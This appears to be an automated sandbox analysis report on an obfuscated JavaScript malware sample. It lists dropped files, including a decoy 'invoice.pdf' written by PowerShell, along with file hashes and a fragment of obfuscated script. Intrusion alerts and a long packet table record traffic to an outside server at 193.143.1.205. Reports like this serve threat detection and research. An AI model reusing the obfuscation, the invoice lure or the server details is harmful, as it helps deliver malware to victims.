Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\48889a79-816c-465a-bdfd-e683f865e2f0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oywYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxywZGBGZn3mlind9i4ufFXpAXkru
MD5:	24E06DFF10D65D579F347CEE82FA6516
SHA1:	F990BFD3B186929BBA348D538B7FCC416574F976
SHA-256:	D8655F371DE8C6CFC8BA6E8AF34C7FE2779047444F3D13FBE7832123188B3FD7
SHA-512:	7A088092FB48DD99EA0C02AEB58829B443B8E63BEE945C1C45A3A8A777D1256ABE4BFF57E021264495003AC895BDBEC7C210B7BE8E20088F483A97B792A6E5A6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17882), with CRLF line terminators
Entropy (8bit):	4.926744614723706
TrID:
File name:	3132773231614716983.js
File size:	21'390 bytes
MD5:	235d84f11e4424dbb37a4f418afc1d1e
SHA1:	629fbba4011d9de0808c6f6f1c7035c36b0bfa28
SHA256:	11d86ca19450e8434727d7c2112e53c58d269eb571ba22020fa8b9c10ec850c3
SHA512:	ce688e74511bc347d7f49b1ae62802c1afb521e12417a450c8b49b06661de075aed1a73605bb46009c674c555fa93da908382c19de8016b7d9d44c87f4c1da52
SSDEEP:	384:8M6eUT7UeeoL4Aq3dKlsOKc6aaPBDjpFZ0bOanK0JagfePYYYPHOa81NLcVzgPoQ:eeUXUedL9q3dKlsOKc6aaPBDjpFZ0bOD
TLSH:	06A266C28C89CB9991D1B561024201DAE1BC07550BE2EBEE7330D982E522D7E5FFD6F6
File Content Preview:	function yufrfyqr(){hfwviuhw=[1031,3079,5127,4103,2055,3072];var tkcizizj=this[zcoth+lrlckt+gxixkmav+czyxemxsy+bfhqnr+uvtpaadp+gtjmtog+vsepsfrlu](this[ilysokmc+lesavlamr+qcjyapfve+gxixkmav+qdoevd+zcoth+vsepsfrlu][tlomduqki+gxixkmav+bfhqnr+lrlckt+vsepsfrlu

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:22:48.154209+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-10T18:22:51.550674+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:22:47.357774019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:47.362833023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:47.362937927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:47.365616083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:47.370551109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154102087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154136896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154156923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154169083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154180050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154191017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154202938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154213905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154208899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.154227972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154242992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.154284954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.154309988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.158996105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.206099987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.206123114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.206260920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.278362989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278382063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278393984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278476000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278486967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278537989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.278584003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.278609991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278621912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278635979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278656006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.278673887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278678894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.278687000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.278733969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.279485941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.279576063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.279593945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.279604912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.279618025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.279638052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.279664993 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.280222893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.280236006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.280251980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.280262947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.280273914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.280278921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.280292988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.280360937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.281124115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.281136036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.281147003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.281177998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.331985950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.333158016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.378791094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.381362915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.381382942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.381395102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.381467104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.404556036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.404575109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.404592991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.404603958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.404618025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.404639006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.404642105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.404653072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.404665947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.404666901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.404680014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.404695034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.404720068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.405344009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.405356884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.405368090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.405396938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.405643940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.405656099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.405668020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.405678034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.405695915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.405725002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.406032085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406044960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406054974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406081915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406081915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.406096935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406109095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406121969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406161070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.406161070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.406161070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.406845093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406857967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406868935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406882048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406897068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.406928062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.406932116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406945944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406956911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.406969070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.407007933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.407007933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.407835007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.407847881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.407857895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.407896996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.407980919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.407994032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.408004045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.408015966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.408027887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.408036947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.408073902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.408075094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.408773899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.408787012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.408797979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.408808947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.408833981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.408860922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.419332981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.419347048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.419358969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.419411898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.467441082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.467503071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.506803036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.506815910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.506822109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.506828070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.506834984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.506911039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.528795004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.528840065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.528857946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.528867006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.528898001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.529048920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529087067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529108047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529124975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529130936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.529145956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529176950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.529180050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529202938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529222012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529223919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.529242039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529264927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.529556990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529568911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529578924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529583931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529593945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529614925 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.529649973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.529886961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529897928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529907942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529937983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.529967070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.529978991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530014992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.530324936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530335903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530352116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530363083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530373096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530378103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530381918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.530389071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530400991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530414104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530425072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.530425072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.530431986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530443907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.530458927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.530458927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.530503035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.531024933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531037092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531047106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531059027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531073093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.531100988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531107903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.531115055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531126022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531138897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531148911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.531176090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.531256914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531270027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531279087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531291008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531333923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.531333923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.531883001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531893015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531903028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531933069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.531980038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531991959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.531996965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532013893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532026052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532036066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532037973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.532047033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532058954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532062054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.532072067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532090902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.532094955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532130003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.532864094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532879114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532888889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532919884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.532947063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532958031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532963991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.532969952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.533006907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.533039093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.533051014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.533056974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.533066988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.533077955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.533092022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.533096075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.533135891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.533135891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.533801079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.533812046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.533853054 CET	49706	80	192.168.2.8	193.143.1.205
